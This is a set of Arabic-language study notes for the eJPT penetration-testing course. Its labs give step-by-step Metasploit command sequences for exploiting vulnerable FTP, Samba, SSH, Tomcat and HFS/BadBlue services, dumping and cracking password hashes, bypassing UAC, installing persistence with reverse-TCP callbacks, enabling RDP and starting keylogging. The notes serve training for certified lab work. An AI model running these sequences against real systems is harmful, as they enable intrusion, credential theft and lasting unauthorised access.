الامر هذا عشان تجينا صلاحيات الـ root 399 | [sudo su] 400 | [whoami] 401 | 402 | نشوف انه قالنا انه حنا الروت 403 | 404 | راح نقرا الفلاق الان 405 | [cat /root/flag.txt] 406 | 407 | 408 | --- 409 | 410 | راح نبداء باللاب السابع الي هو 411 | 412 | Exploiting Setuid Programs 413 | ---------------------------| 414 | 415 | طبعا في هذا اللاب راح نستغل او نرفع صلاحياتنا عن طريق الـ SUID 416 | 417 | راح نشوف وش الملفات الي عندنا وصلاحياتها 418 | [ls -la] 419 | 420 | راح نشوف انه فيه ملف نقدر نشغله ونقراه والي مسويه الروت فراح نقدر نستغله 421 | 422 | خلونا نشوف وش نوع الملف هذا 423 | [file welcome] 424 | 425 | طبعا الان نشوف انه elf file نفس الـ exe file 426 | 427 | راح نقرا النص الي داخل الملف طبعا لو نقراه بـ cat بيكون غير مفهوم 428 | 429 | راح نستخدم هذا الامر 430 | [strings welcome] 431 | 432 | نشوف انه حصلنا نص greetings 433 | 434 | طبعا هذا اسم ملف محصلينه حنا سابقا مع ملف welcome 435 | 436 | طبعا راح نحذف الملف ونسوي واحد خاص فينا عشان يفتح لنا bash shell as root 437 | [rm greetings] لحذف الملف 438 | [cp /bin/bash greetings] هذا عشان يفتح لنا الـ bash shell 439 | 440 | الان نشغل ملف الـ welcome لانه هو الي بيشغل لنا ملف الـ greetings الي سويناه وبيشغله كروت يوزر 441 | 442 | الان شغلناه نشوف انه عطانا الروت ونقدر نقرا الفلاق بكل سهوله 443 | [cat /root/flag] 444 | 445 | --- 446 | 447 | راح نبداء باللاب الثامن الي هو 448 | 449 | Password Cracker: Linux 450 | ------------------------| 451 | 452 | في هذا اللاب راح نستخدم الـ metasploit (msfconsole) 453 | 454 | طبعا مطلوب مننا نجيب الهاش + نسوي له كراك 455 | 456 | اول شي نسوي nmap scan 457 | [nmap -sV 192.229.31.3] 458 | 459 | نشوف انه حصلنا الـ FTP وهذا الاصدار مصاب بثغره باك دور 460 | 461 | راح نستغل طبعا عن طريق الـ msfconsole 462 | [/etc/init.d/postgresql start] عشان نشغل الداتا بيس عشان يحفظ لنا الهاش فيها 463 | 464 | الان نفتح الفرييم وورك 465 | [msfconsole] 466 | [use exploit/unix/ftp/proftpd_133c_backdoor] 467 | [show options] 468 | [set RHOSTS 192.229.31.3] 469 | [exploit] or [run] 470 | 471 | الان عطانا الشيل نخليه في الخلفيه بالضغط على او نكتب 472 | [CTRL + Z] or [bg] 473 | 474 | الان نروح لموديل اخر الي بيسوي لنا dump 475 | [use post/linux/gather/hashdump] 476 | [set SESSION 1] 1 يعني رقم السشن تقدر تطلعها عن طريق كتباتة sessions 477 | [exploit] or [run] 478 | 479 | الان سوا لنا dump وحفظه لنا بقاعدة البيانات الي شغالناها 480 | 481 | الان نبي نسوي لها كراك عشان نقدر نقراها الان وهي كا hash غير قابل للقرائة ابدا 482 | 483 | فبنستخدم الموديول التالي عشان نسوي له كراك 484 | [use auxiliary/analyze/crack_linux] 485 | [set SHA512 true] SHA512 هذي تشير الى نوع التشفير المستخدم او الي حابين نفكه 486 | [exploit] or [run] 487 | 488 | وزي مانشوف الان عطانا الباسورد والفلاق المطلوب هو الباسورد 489 | 490 | --- 491 | 492 | اعتذر على الاطاله 493 | 494 | @s4cript | @cyberhub | @0xNawaF1 495 | -------------------------------------------------------------------------------- /network-PT-cyberhub-6.md: -------------------------------------------------------------------------------- 1 | # Session 6 (ejpt) - Day 6 2 | ## Host & Network Penetration Testing: The Metasploit Framework (MSF) 3 | 4 | 5 | السلام عليكم ورحمة الله وبركاته 6 | 7 | اليوم باذن الله راح نبدأ قسم جديد طبعا فيه قسم ماراح نشرحه لانه مو مره مهم في الوقت الحالي 8 | اسم القسم هو Host & Network Penetration Testing:Network-Based Attacks. 9 | 10 | وزي ماهو موضح باعلى الصفحة راح نبدأ اليوم بقسم الـ Metasploit Framework (MSF). 11 | 12 | --- 13 | 14 | راح نبداء باللاب الاول الي هو 15 | 16 | T1046 : Network Service Scanning 17 | ---------------------------------| 18 | 19 | 20 | راح نبدا باول لاب معنا اليوم طبعا مره مهم اللاب هذا راح نبدا فيه الان باذن الله 21 | 22 | 23 | طبعا اخر مدة نخلص فيها الـ eJPTv2 هو الخميس باذن الله 24 | 25 | طبعا الايبي تبعنا زي العاده نفحص الشبكة لكن بنختصر ويكون التارقت 26 | Target: 192.125.214.3 27 | 28 | الان راح نفحصه بالـ nmap 29 | [nmap -sV -sC 192.125.214.3] 30 | -sC = عشان يستخدم الديفولت سكربت نفس اذا كتبنا --script لكن حنا بناخذ الديفولت ماراح نحدد 31 | 32 | طبعا الان نشوف انه عطانا نتيجة ونشوف انه كتب ان الـ http_title: XODA 33 | 34 | XODA هو CMS طبعا وهذا له اكسبلويت تبحث بقوقل بتحصله 35 | 36 | راح نستخدم الـ msfconsole 37 | [msfconsole] 38 | [use exploit/unix/webapp/xoda_file_upload] 39 | [set RHOSTS 192.125.214.3] 40 | [set TARGETURI /] نحدد هنا مسار الـ CMS نفسه وبحالتنا موجود بالروت 41 | [exploit] or [run] 42 | 43 | 44 | الان نشوف انه عطانا merterpreter session 45 | 46 | الان راح نفتح الـ shell عن طريق كتابة هالامر في الـ msfconsole 47 | [shell] 48 | نشوف انه فتح لنا الشيل الان 49 | 50 | الان بنشوف الانترفيسس الموجوده والايبيات 51 | [ip addr] هذا الامر عشان يعرض لنا الانترفيس كلها والايبي تبع كل وحده 52 | 53 | الان نشوف انه عندنا انترفيس ثانيه وحده داخلين عليها والثانيه مادخلنا عليها 54 | 55 | طبعا لو تجرب تسوي ping على ايبي الانترفيس الثانيه راح تشوف انه فيه رد ف يعني عندك اتصال 56 | 57 | طبعا لو تحاول تأكسس الانترفيس بتشوف انه ماتقدر طبعا لابد نظيفه داخل الـ autoroute 58 | 59 | عندك موديول وتقدر تسويها يدوي راح نجرب اليدوي الان 60 | [run autoroute -s 192.76.227.2] الان اضفنا الانترفيس الى الـ autoroute يدويا 61 | 62 | طبعا الان راح نفحص الشبكة الداخليه الي حصلناها او الانترفيس الثانيه بنستخدم موديول طبعا 63 | 64 | [use auxiliary/scanner/portscan/tcp] 65 | [set RHOSTS 192.125.214.3] 66 | [set verbose true] 67 | [set ports 1-1000] 68 | [exploit] or [run] 69 | 70 | نشوف انه عطانا بعض البورتات مثل الـ FTP, SSH, HTTP 71 | 72 | فهذا احد الاشياء المهمه الي لابد تسويها بعد اختراق الجهاز خاصة في الـ ejpt exam 73 | 74 | طبعا هو سوا سكربت خاص ورفعه لكن النتيجة وحده وهذي اسهل لكن لو حبيت ترفع ملف عن طريق الـ msfconsole 75 | [session $SID] طبعا تحط رقم السيشن حقتك وبيدخلك عليها 76 | [upload /PATH-TO-YOUR-FILE.py] وهذا الامر متبوع بباث الملف الي تبي ترفعه وراح ينرفع 77 | 78 | --- 79 | 80 | راح نبداء باللاب الثاني الي هو 81 | 82 | Web App Vulnerability Scanning With WMAP 83 | -----------------------------------------| 84 | 85 | الان راح نتعلم كيف نفحص web عن طريق الـ metasploit 86 | 87 | 88 | طبعا ناخذ الايبي سواء تفحص الشبكة او تختصر نفسنا بس اخر اوكت من الايبي زود عليه 1 89 | 90 | طبعا الايبي عندنا 91 | Target = 192.33.118.3 92 | 93 | راح نفحصه بالـ nmpa كبداية 94 | [nmap -sV -sC 192.33.118.3] 95 | 96 | نشوف انه عطانا http_title: Apache/2.4.18 طبعا هذا مصاب 97 | 98 | 99 | اول شي راح نشغل الداتا بيس 100 | [sudo msfdb init] 101 | [services postgresql start] 102 | 103 | خلونا نفتح الـ msfcnsole 104 | [msfconsole] 105 | [load wmap] راح نسوي لود او نستدعي هذا الاكستنشن او هذي التول 106 | 107 | طبعا لازم نظيف السايت عن طريق هذا الامر 108 | [wmap_sites -a 192.33.118.3] 109 | 110 | بعد نحتاج نظيف التارقت مع البروتوكول زي كذا 111 | [wamp_targets -t http://192.33.118.3] 112 | 113 | طبعا الان اضفنا السايت والتارقت , عشان نستعرض السايتس الي اضفناهم نكتب الامر هذا 114 | [wmap_sites -l] 115 | 116 | وكذالك عشان نستعرض التارقت الي اضفناهم نكتب الامر هذا 117 | [wmap_targets -l] 118 | 119 | الان تمام كلشي وتاكدنا خلينا نسوي له run 120 | [wmap_run -t] 121 | 122 | الان راح يبدا يفحص لك الموقع ويعطيك الموديول الي ممكن تشغلهم على الموقع 123 | 124 | نشوف انه عطانا اول شي معلومات عن التارقت بعدين قعد يجرب الموديولز الي عنده وماحصل شي مهم يعني او يفيدنا فجرب اغلب الموديولز ولا وحده طلعت نتيجة مفيده 125 | 126 | فيه امر ثاني الي هو -e طبعا راح يشغل كل الموديولز الي قبل كلهم ونشوف النتيجة كامله 127 | [wmap_run -e] 128 | 129 | 130 | فاختصار المراحل الي قبل 131 | [wmap_run -t] 132 | يعرض لنا الموديولز الي ممكن يشغلهم 133 | 134 | [wmap_run -e] 135 | يشغل كل الموديولز السابق ويعطينا النتيجة 136 | 137 | ونشوف الان النتيجة كبيره طبعا من مسارات واصدارات وهنا خلص اللاب الثاني 138 | 139 | 140 | --- 141 | 142 | راح نبداء باللاب الثالث الي هو 143 | 144 | Windows: Java Web Server 145 | -------------------------| 146 | 147 | طيب في هذا اللاب يتكلم عن الـ Java webserver 148 | غالبا يكون السيرفر اما 149 | Tomcat or spring 150 | طبعا تسمى framework 151 | 152 | 153 | طبعا في هذا اللاب معطينا التارقت ايبي من نفسه والي هو 154 | Target = 10.0.0.141 155 | 156 | 157 | نسوي الان nmap scan 158 | [nmap -sV -sC 10.0.0.141] 159 | 160 | نشوف انه عطانا انه شغال بورت 80 Apache Tomcat 8.5.19 161 | 162 | طبعا له CVE بنفتح الـ msfconsole 163 | [msfcnosole] 164 | [use exploit/multi/http/tomcat_jsp_upload_bypass] 165 | [set RHOSTS 10.0.0.141] 166 | [check] راح يتاكد هنا من انه مصاب او لا 167 | [exploit] or [run] 168 | 169 | نشوف انه عطانا انه مصاب وعطانا Shell 170 | 171 | الان نحصل الفلاق فيه هذا المسار 172 | [type C:\\flag.txt] 173 | 174 | وطبعنا الفلاق والان انتهى اللاب هذا 175 | 176 | --- 177 | 178 | راح نبداء باللاب الرابع الي هو 179 | 180 | Vulnerable File Sharing Service 181 | --------------------------------| 182 | 183 | في هذا اللاب راح نتكلم عن File sharing Services 184 | ومن الامثله عليه SMB,FTP etc... 185 | 186 | طبعا راح نشوف مع بعض هذا اللاب بنفحص الشبكه او ناخذ التارقت ونزيد اخر رقم 1 ونحصل التارقت 187 | [nmap -sV -sC 192.189.253.3] 188 | 189 | نشوف الان ان الـ samba شغال وبكذا بنعرف انه linux وكذالك اصدار السيرفس 4.1.17 190 | 191 | وله اكسبلويت في الـ metasploit طبعا خلينا نفتح الفريم وورك ونشوف الاستغلال مع بعض 192 | [msfconsole] 193 | [use exploit/linux/samba/is_known_pipename] 194 | [set RHOST 192.218.210.3] 195 | [check] 196 | [exploit] or [run] 197 | 198 | طبعا الان نشوف انه يوم سوينا check قال انه مصاب وفعلا نشوف انه عطانا سيشن 199 | 200 | طبعا تقدر تبحث عن هذا الاستغلال باكثر من طريقه لكن حنا اختصرنا 201 | 202 | الى هنا انتهى اللاب نشوف الي بعده 203 | 204 | --- 205 | 206 | راح نبداء باللاب الخامس الي هو 207 | 208 | Vulnerable SSH server 209 | ----------------------| 210 | 211 | طبعا في هذا اللاب راح نتكلم عن الـ SSH server له CVE 212 | 213 | طبعا راح نشوف مع بعض هذا اللاب بنفحص الشبكه او ناخذ التارقت ونزيد اخر رقم 1 ونحصل التارقت 214 | [nmap -sV -sC 192.51.205.3] 215 | 216 | طبعا راح نبحث عن الـ SSH version وراح نشوف انه بنحصل الـ CVE طبعا راح نختصر 217 | ```bash 218 | [msfconsole] 219 | [use auxiliary/scanner/ssh/libssh_auth_bypass] 220 | [set RHOSTS 192.51.205.3] 221 | [set SPAWN_PTY true] لو ماكان قيمته ترو ماراح يفتح لك شيل او يسوي سباون لشيل 222 | [exploit] or [run] 223 | ``` 224 | 225 | 226 | ونشوف انه فعلا عطانا الشيل الان ومعنا session 227 | 228 | الى هنا انتهى اللاب نشوف الي بعده 229 | 230 | --- 231 | 232 | راح نبداء باللاب السادس الي هو 233 | 234 | Meterpreter Basics 235 | ------------------| 236 | 237 | 238 | في هذا اللاب راح نفصل شوي في اوامر الـ metasploit خاصة في اوامر الـ meterpretere 239 | 240 | 241 | طبعا راح نشوف مع بعض هذا اللاب بنفحص الشبكه او ناخذ التارقت ونزيد اخر رقم 1 ونحصل التارقت 242 | ```bash 243 | nmap -sV -sC 192.189.123.3 244 | ``` 245 | 246 | طبعا نشوف ان البورت 80 شغال وشغال عليه XODA وحنا نعرف انه مصاب 247 | 248 | طبعا الطبيعي انه تسوي fuzzing على المسارات عشان تشوف ايش المسارات الموجوده 249 | 250 | ف نجرب الان نسوي البروت فورس هذا 251 | ```bash 252 | dirb http://192.189.123.3 253 | ``` 254 | 255 | 256 | طبعا حصلنا ملفات كثير اكثر ملف جذبنا او مهم هو الـ phpinfo راح نقراه باداة curl 257 | ```bash 258 | curl http://192.189.123.3/phpinfo.php 259 | ``` 260 | 261 | ونشوف انه فيه اشياء كثير نشوف انه الـ xdebug مفعل وهذا مصاب راح نبحث ونشوف وبنحصل موديول على الـ msfconsole 262 | 263 | طبعا خلونا نختصر ونفتح الميتاسبلويت ونستغل الثغرة 264 | ```bash 265 | msfconsole 266 | use exploit/unix/http/xdebug_unauth_exec 267 | set RHOSTS 192.189.123.3 [target ip] 268 | set LHOST 192.189.123.2 [attacker ip] 269 | exploit 270 | ``` 271 | 272 | ونشوف انه عطانا meterpreter session 273 | 274 | طبعا راح بنشوف بعض الاوامرالي تفيدنا 275 | ```bash 276 | lpwd [your place on your machine] 277 | pwd [your place on target machine] 278 | ls [list all files and folders in your place on target machine] 279 | lls [list all files and folders in your place on your machine] 280 | downalod name_file.zip [to download any file to your machine from target machine] 281 | getenv PATH [shortcats for tools like (nmap,fuff) you don't need to be on the seem dir] 282 | search -d /usr/bin -f *ckdo*[راح يبحث عن الملف بنفس المسار الي محدده انت وبنفس المعطيات انه مايهم وش قبل او بعد الحروف الي هي ckdo مايهم وش قبلها ولا وش بعدها ورمزنا له بالنجمه] 283 | ``` 284 | 285 | طبعا هو رفع شيل الان لكن مافي فايده نسويه لكن نعرف طريقته اخذناه مسبقا وفوق موضح كيف تسوي upload 286 | 287 | الى هنا انتهى اللاب نشوف الي بعده 288 | 289 | --- 290 | 291 | راح نبداء باللاب السابع الي هو 292 | 293 | Upgrading Command Shells To Meterpreter Shells 294 | -----------------------------------------------| 295 | 296 | طبعا في هذا اللاب بنعرف كيف نرقي الـ Shell to meterpreter session 297 | 298 | طبعا راح نشوف مع بعض هذا اللاب بنفحص الشبكه او ناخذ التارقت ونزيد اخر رقم 1 ونحصل التارقت 299 | ```bash 300 | nmap -sV -sC 192.136.51.3 301 | ``` 302 | 303 | الان نشوف ان الـ samba شغال وباصدار 4.1.17 مصاب بثغره 304 | 305 | بنشوف الان الاستغلال مع بعض 306 | ```bash 307 | msfconsole 308 | use exploit/linux/samba/is_known_pipename 309 | set RHOSTS 192.136.51.3 310 | exploit 311 | ``` 312 | 313 | نشوف انه عطانا non-interactive session الان بنرقيها الى meterpreter session عندنا اكثر من طريقه خل نشوف 314 | 315 | اول طريقة نستخدم موديول معين 316 | ```bash 317 | use post/multi/manage/shell_to_meterpreter 318 | set SESSION 1 319 | set LHOST 192.136.51.2 320 | run 321 | ``` 322 | 323 | نشوف انه فتح لنا session ثاني وخلاها لنا meterpreter session 324 | 325 | وفيه طريقة ثانيه واسرع والي هي 326 | ```bash 327 | session -u 1 328 | ``` 329 | 330 | طبعا الرقم يتغير حسب الـ id session الي عندك وتقدر تشوف الرقم عن طريق 'sessions' command 331 | 332 | الى هنا انتهى اللاب هذا نشوف الي بعده 333 | 334 | --- 335 | 336 | راح نبداء باللاب الثامن الي هو 337 | 338 | Windows Post Exploitation Modules 339 | ----------------------------------| 340 | 341 | طبعا هنا معطينا التارقت 342 | 343 | Target = 10.5.29.207 344 | 345 | الان نفحص زي العاده 346 | ```bash 347 | nmap -sV -sC 10.5.29.207 348 | ``` 349 | 350 | ونشوف انه عطانا البورتات ونشوف ان الـ HTTP شغال ومصاب كذالك بنستغل علطول 351 | ```bash 352 | msfconsole 353 | use exploit/windows/http/rejetto_hfs_exec 354 | set RHOSTS 10.5.29.207 355 | exploit 356 | ``` 357 | 358 | نشوف انه عطانا meterpreter shell 359 | 360 | الان الي بنسويه بنسوي enumeration عن طريق موديول بعد ماخترقنا الجهاز 361 | 362 | راح نشوف اول موديول معنا الي هو هذا 363 | ```bash 364 | use post/windows/gather/win_privs 365 | set SESSION 1 366 | exploit 367 | ``` 368 | طبعا الان عطانا وش الصلاحيات الي عندنا 369 | 370 | نشوف الان موديول ثاني 371 | ```bash 372 | use post/windows/gather/enum_logged_on_users 373 | set SESSION 1 374 | exploit 375 | ``` 376 | 377 | طبعا هذا الموديول يعطيك ايش اليوزرات الي مسجله دخول الان 378 | 379 | نشوف الان الموديول الثالث 380 | ```bash 381 | use post/windows/gather/checkvm 382 | set SESSION 1 383 | exploit 384 | ``` 385 | 386 | طبعا هذا الموديول يشيك هل التارقت virtual machine او لا 387 | 388 | نشوف الان الموديول الرابع 389 | ```bash 390 | use post/windows/gather/enum_applications 391 | set SESSION 1 392 | exploit 393 | ``` 394 | 395 | هذا الموديول يعرض لك البرامج الي محمله على الجهاز 396 | 397 | طبعا فيه اكثر واكثر تقدرون تجربونها بنفسكم 398 | 399 | 400 | الى هنا انتهينا باذن الله راح نكمل بكرا , اعتذر عن الاطاله وباذن الله كان مفيد 401 | 402 | --- 403 | 404 | ## Follow us on: 405 | Twitter: [s4cript](https://twitter.com/s4cript) , [cyberhub](https://twitter.com/cyberhub) , [0xNawaF1](https://twitter.com/0xNawaF1) 406 | -------------------------------------------------------------------------------- /network-PT-cyberhub-7.md: -------------------------------------------------------------------------------- 1 | # Session 7 (ejpt) - Day 7 2 | ## Host & Network Penetration Testing: The Metasploit Framework (MSF) part2 3 | 4 | 5 | السلام عليكم ورحمة الله وبركاته 6 | 7 | اليوم باذن الله راح نبدا من الي وقفنا عليه امس 8 | 9 | --- 10 | 11 | راح نبداء باللاب الاول الي هو 12 | 13 | UAC Bypass: Memory Injection (Metasploit) 14 | -----------------------------------------| 15 | 16 | طبعا في هذا اللاب راح نتكلم عن احد الطرق في الـ Advance Privilege Escalation والي هو Windows: UAC Bypass 17 | 18 | 19 | طبعا الـ UAC Bypass يكون injection in dll 20 | 21 | خلونا نبدا 22 | 23 | طبعا زي مانشوف معطينا التارقت راح نفحصه بالـ nmpa 24 | ```bash 25 | nmap -sV -sC 10.0.23.239 26 | ``` 27 | 28 | طبعا زي مانشوف البورتات الفتوحه طبعا الي يهمنا منها بورت 80 29 | 30 | نشوف انه شغال عليه HTTPFileServer httpd 2.3 31 | 32 | وهذا السيرفر بهالاصدار مصاب زي مانعرف وسبق واستغليناه باداة الـ msfconsole 33 | 34 | راح نستغله الان بنفس الطريقه 35 | ```bash 36 | msfconsole 37 | use exploit/windows/http/rejetto_hfs_exec 38 | set RHOSTS 10.0.23.239 39 | exploit 40 | ``` 41 | 42 | وزي مانشوف الان عطانا meterpreter session 43 | 44 | طيب خلونا نشوف ايش صلاحيتنا وايش اليوزر الي معنا عن طريق هذي الاوامر في الـ meterpreter session 45 | ```bash 46 | getuid [ to identify Server username ] 47 | sysinfo [ to list out information about target machine such as (OS , Architecture , Logged on Users etc...) ] 48 | ``` 49 | 50 | طبعا الان راح نحاول نرفع صلاحيتنا لكن بالاول راح نتوجه لبروسس اخر زي ماقلنا عشان الاتصال يكون مستقر ونبعد عن انه يقطع علينا الاتصال في اي لحظه 51 | ```bash 52 | ps -S explorer.exe [ to identify the process id ] 53 | migrate $PID [ to migrate to specific process via process id ] 54 | ``` 55 | 56 | حلو الان اتصالنا مستقر راح نجرب نرفع الصلاحيات عن طريق هذا الامر 57 | ```bash 58 | getsystem [ to elevate to the high privilege. ] 59 | ``` 60 | 61 | نشوف انه ماقدر يرفع صلاحياتنا , طيب خلونا بداية الان نشوف يوزرنا اصلا هل هو من ضمن قروب administrators او لا 62 | 63 | اول شي طبعا نفتح شيل وبعدها ننفذ الامر الي بيظهر لنا ايش اليوزرات الي من هذا القروب الي هو administrators 64 | ```bash 65 | shell [ to open shell ] 66 | net localgroup administrators [ to identify all users in administrators group ] 67 | ``` 68 | 69 | نشوف انه فعلا اليوزر الي معنا جزء من قروب administrators ف راح نحاول الان نرفع صلاحياتنا عن طريق Bypassing UAC(User Account Control) 70 | 71 | اول شي نخلي نطلع من الشيل بعدها نطلع من الـ meterpreter session ونخليها بالخلفيه عن طريق هذي الاوامر 72 | ```bash 73 | press (CTRL+C) [ to exit from shell ] 74 | bg or background or press (CTRL + Z) [ to set the meterpreter session on backgrond (without closeing) ] 75 | ``` 76 | 77 | طبعا البايباس الي حاب يعرف عنه اكثر يقدر يقرا عنه من هنا 78 | [Bypass_UAC](https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac_injection/) 79 | 80 | طبعا الاستغلال هذا موجود له موديول على الـ msfconsole وراح نستعمله الان باذن الله 81 | 82 | ```bash 83 | use exploit/windows/local/bypassuac_injection 84 | set session 1 85 | set TARGET 1 86 | set PAYLOAD windows/x64/meterpreter/reverse_tcp 87 | exploit 88 | ``` 89 | 90 | نشوف الان انه عطانا meterpreter session ثانيه 91 | 92 | نشوف الان ناحاول نرفع صلاحياتنا بيوزر الـ admin عن طريق هذا الامر 93 | ```bash 94 | getsystem [ to elevate to the high privilege. ] 95 | getuid [ to identify Server username ] 96 | ``` 97 | 98 | زي مانشوف الان سوينا بايباس وقدرنا نرفع صلاحياتنا زي وصار معنا NT AUTHORITY\SYSTEM 99 | 100 | الى هنا انتهى اللاب نشوف الي بعده 101 | 102 | --- 103 | 104 | راح نبداء باللاب الثاني الي هو 105 | 106 | Exploiting SMB With PsExec 107 | --------------------------| 108 | 109 | طبعا الان راح نشوف طريقة استغلال الـ SMB عن طريق اداة اسمها psexec 110 | 111 | نشوف الان مع بعض معطينا التارقت راح نفحصه كالمعتاد 112 | ```bash 113 | nmap -sV -sC 10.0.0.242 114 | ``` 115 | 116 | نشوف الان ان بورت 445 شغال طبعا راح نسوي بروت فورس على اليوزر والباسورد 117 | 118 | تقدر تستخدم اي اداة تبيها hydar , metasploit etc.. 119 | 120 | حنا راح نسويها باستخدام الـ metasploit 121 | ```bash 122 | msfconsole 123 | use auxiliary/scanner/smb/smb_login 124 | set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt 125 | set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 126 | set RHOSTS 10.0.0.242 127 | set VERBOSE false 128 | exploit 129 | ``` 130 | 131 | نشوف انه عطانا اكثر من يوزر وباسورد الان بنستغله عن طريق موديول psexec 132 | 133 | ```bash 134 | use exploit/windows/smb/psexec 135 | set RHOSTS 10.0.0.242 136 | set SMBUser Administrator 137 | set SMBPass qwertyuiop 138 | exploit 139 | ``` 140 | 141 | نشوف انه فعلا عطانا الان الريفيرس شيل او بالاصح meterpreter session 142 | 143 | الان فقط مطلوب مننا نقرا الفلاق بهذي الطريقه 144 | ```bash 145 | shell 146 | cd / 147 | dir 148 | type flag.txt 149 | ``` 150 | 151 | طبعا الان معنا اعلى صلاحيات بالنظام بعد ما استغليناه عن طريق psexec 152 | 153 | الى هنا انتهى اللاب نشوف الي بعده 154 | 155 | --- 156 | 157 | راح نبداء باللاب الثالث الي هو 158 | 159 | Maintaining Access: Persistence Service 160 | ---------------------------------------| 161 | 162 | طبعا في هذا اللاب راح نشوف اللاب مع بعض وهذا هو الـ Persistence عن طريق الـ Service 163 | 164 | طبعا زي العاده معطينا التارقت وراح نفحصه بالـ nmap 165 | ```bash 166 | nmap -sV -sC 10.0.25.204 167 | ``` 168 | 169 | طبعا نشوف ان بورت 80 مفتوح وشغال عليه HTTPFileServer 2.3 ونعرف انه مصاب راح نستغله مباشره 170 | ```bash 171 | msfconsole 172 | use exploit/windows/http/rejetto_hfs_exec 173 | set RHOSTS 10.0.25.204 174 | set LHOST 10.10.1.2 [Enter your IP machine] 175 | exploit 176 | ``` 177 | 178 | طبعا نشوف الان ايش الصلاحيات الي معنا او بالاصح ايش اليوزر الي معنا عن طريق هذا الامر 179 | ```bash 180 | getuid 181 | ``` 182 | 183 | نلاحظ انه معنا يوزر Administrator 184 | 185 | طبعا مصطلح Persistence انك تحاول متى ماحبيت تتصل بالتارقت يكون عندك القدرة انك تتصل 186 | بمعنى لو طفى جهاز التارقت واشتغل اكيد بنحتاج نعيد الاكسبلويت كامل لو استخدمت الـ Persistence وتكنيكاته ماراح تحتاج تعيد الاستغلال والطرق فيه كثيره لكن اليوم بنشوف وحده منهم 187 | 188 | طبعا راح نحاول نطبق هذا التكنيك عن طريق هذا الموديول وانه بيسوي لنا service جديده 189 | 190 | ```bash 191 | use exploit/windows/local/persistence_service 192 | set SESSION 1 193 | exploit 194 | ``` 195 | 196 | طبعا الان نشوف انه فعلا سوا لنا الخدمة وحقن فيها الشيل حقنا وجدولها انه مثلا تتصل كل دقيقه او كل يوم او اي وقت اخر 197 | 198 | راح نجرب الان نتصل عن طريق الخدمة الي سواها لنا الموديول الي فوق 199 | 200 | طبعا راح نتنصت على نفس البورت الي حقناه داخل الخدمة الي سويناها مسبقا 201 | 202 | ```bash 203 | msfconsole 204 | use exploit/multi/handler 205 | set LHOST 10.10.1.2 206 | set PAYLOAD windows/meterpreter/reverse_tcp 207 | set LPORT 4444 208 | exploit 209 | ``` 210 | 211 | طبعا الان لابد يكون نفس المعلومات الي موجوده او الي اعطينها الموديول الي سوا لنا الـ Service 212 | 213 | راح نسوي reboot للمشين عشان نشوف هل فعلا بيجينا اتصال ولا لا 214 | 215 | ```bash 216 | session -i 1 217 | reboot 218 | ``` 219 | 220 | نشوف الان بالصفحة الثانيه الي فيها الـ multi/handler جانا اتصال ووضعنا تمام 221 | 222 | طبعا لو اكتشف الـ Persistence تبعك وحذفه التارقت راح يقطع اتصالك فحاول تختار الطريقة الي نادر انه ممكن يشك فيها الـ Administrator تبع النظام 223 | 224 | 225 | طبعا تقدر تسوي اكثر من تكنيك بنفس الوقت بحيث لو قفط وحده بيكون عندك طريقة اخرى وهكذا 226 | 227 | الى هنا انتهى اللاب نشوف الي بعده 228 | 229 | --- 230 | 231 | راح نبداء باللاب الرابع الي هو 232 | 233 | Windows: Enabling Remote Desktop 234 | ---------------------------------| 235 | 236 | طبعا هنا راح نشوف طريقة في حال كان معنا اتصال ونبي نفعل الـ RDP protocol ف هذي احدى الطرق 237 | 238 | اول شي راح نفحص التارقت بالـ nmap 239 | ```bash 240 | nmap -sV -sC 10.0.0.68 241 | ``` 242 | 243 | نشوف الان ان بورت 80 شغال وعليه خدمة BadBlue 2.7 وحنا نعرف انه مصاب راح نستغله 244 | ```bash 245 | msfconsole 246 | use exploit/windows/http/badblue_passthru 247 | set RHOSTS 10.0.0.68 248 | exploit 249 | ``` 250 | 251 | الان جانا الاتصال والوضع تمام 252 | الان بنحاول نفعل الـ RDP عن طريق موديول في الـ msfconsole 253 | طبعا نخلي السيشن الاولى في الخلفيه عن طريق 254 | ```bash 255 | CTRL+Z or background or bg 256 | ``` 257 | 258 | والان نجرب نفعل الـ RDP 259 | 260 | ```bash 261 | use post/windows/manage/enable_rdp 262 | set SESSION 1 263 | exploit 264 | ``` 265 | 266 | نلاحظ انه قالنا انه POST module execution completed وهذا يعني انه فعل لنا الـ RDP 267 | 268 | خلونا نجرب نفحص 269 | ```bash 270 | nmap -sV -sC 10.0.0.68 271 | ``` 272 | 273 | ونشوف انه فعلا شغال 274 | 275 | طيب الان كيف راح نتصل بالـ RDP وحنا مامعنا username & password ? 276 | عندنا طرق كثير مثلا بروت فورس او hashdump وتسوي كراك او تسوي يوزر جديد 277 | وبحالتنا الافضل والاسرع انك تسوي يوزر جديد 278 | 279 | نفتح اول سيشن اخذناها ونسوي يوزر جديد عن طريق هذا الامر 280 | ```bash 281 | sessions -i 1 [to interact with session id 1] 282 | shell [to open shell on the target] 283 | net user administrator hacker_123321 [to create new user on windows system] 284 | ``` 285 | 286 | والان نشوف انه فعلا سوا لنااليوزر حقنا خلونا نجرب نتصل بالتارقت عن طريق RDP 287 | ```bash 288 | xfreerdp /u:administrator /p:hacker_123321 /v:10.0.0.68 289 | Y [when you get (Do you trust to above certificate?(Y/T/N)) type Y to trusted the certificate] 290 | ``` 291 | 292 | 293 | طبعا مطلوب مننا نقرا الفلاق راح نحصل الملف الي فيه الفلاق في سطح المكتب اسمه flag افتحه وبتحصل الفلاق 294 | 295 | الى هنا انتهى اللاب نشوف الي بعده 296 | 297 | --- 298 | 299 | راح نبداء باللاب الخامس الي هو 300 | 301 | Windows: File and Keylogging 302 | -----------------------------| 303 | 304 | طبعا هذا اللاب الهدف منه keylogger 305 | 306 | الـ keylogger هو يسجل اي ضغطه على الكيبورد ويعتبر فايروس طبعا هنا راح يكون سكربت او موديول جاهز لكن انت تقدر تكتبه سواء بالـ python , C etc... 307 | 308 | طبعا نشوف انه كلعاده معطينا التارقت نفحص ونستغل لانه مكرر الطريقه ف مباشره راح نفحص ونستغل بورت 80 لانه هو المصاب زي مانعرف 309 | 310 | ```bash 311 | nmap -sV -sC 10.0.0.71 312 | ``` 313 | 314 | نشوف انه الخدمة الشغاله Badblue 2.7 نستغلها 315 | ```bash 316 | msfconsole 317 | use exploit/windows/http/badblue_passthru 318 | set RHOSTS 10.0.0.71 319 | exploit 320 | ``` 321 | 322 | والان اخذنا الشيل وكلشي تمام طبعا مطلوب مننا الفلاق ف خل 